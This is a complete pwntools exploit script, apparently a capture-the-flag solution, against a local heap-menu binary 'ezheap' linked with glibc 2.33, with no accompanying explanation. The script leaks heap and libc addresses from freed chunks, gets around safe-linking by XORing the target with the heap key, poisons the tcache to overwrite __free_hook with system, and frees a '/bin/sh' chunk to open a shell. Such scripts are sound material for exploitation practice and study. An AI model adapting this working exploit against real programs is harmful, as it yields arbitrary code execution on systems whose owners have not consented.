from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
z():
gdb.attach(r)
def
cho(num):
r.sendafter(
">> "
,
str
(num))
def
add(size,con):
cho(
1
)
r.sendafter(
"Size: "
,
str
(size))
r.sendafter(
"Content: "
,con)
def
edit(idx,con):
cho(
2
)
r.sendafter(
"Index: "
,
str
(idx))
r.sendafter(
"Content: "
,con)
def
delet(idx):
cho(
3
)
r.sendafter(
"Index: "
,
str
(idx))
def
show(idx):
cho(
4
)
r.sendafter(
"Index: "
,
str
(idx))
def
exp():
global
r
global
libc
libc
=
ELF(
'./libc-2.33.so'
)
r
=
process(
'./ezheap'
)
for
i
in
range
(
0
,
8
):
add(
0x80
,
'nameless'
)
for
i
in
range
(
1
,
8
):
delet(i)
delet(
0
)
show(
1
)
heap
=
u64(r.recv(
5
).ljust(
8
,
'\x00'
))
key
=
heap
heap<<
=
12
log.success(
'heap:'
+
hex
(heap))
show(
0
)
libcbase
=
u64(r.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x1e0c00
log.success(
'libcbase:'
+
hex
(libcbase))
one
=
[
0xe3b2e
,
0xe3b31
,
0xe3b34
]
free_hook
=
libcbase
+
libc.sym[
'__free_hook'
]
system
=
libcbase
+
libc.sym[
'system'
]
cry_free_hook
=
(free_hook)^key
add(
0x80
,
'nameless'
)
delet(
7
)
edit(
8
,p64(cry_free_hook)
+
'\n'
)
add(
0x80
,
'/bin/sh\x00'
)
add(
0x80
,p64(system))
delet(
9
)
r.interactive()
if
__name__
=
=
'__main__'
:
exp()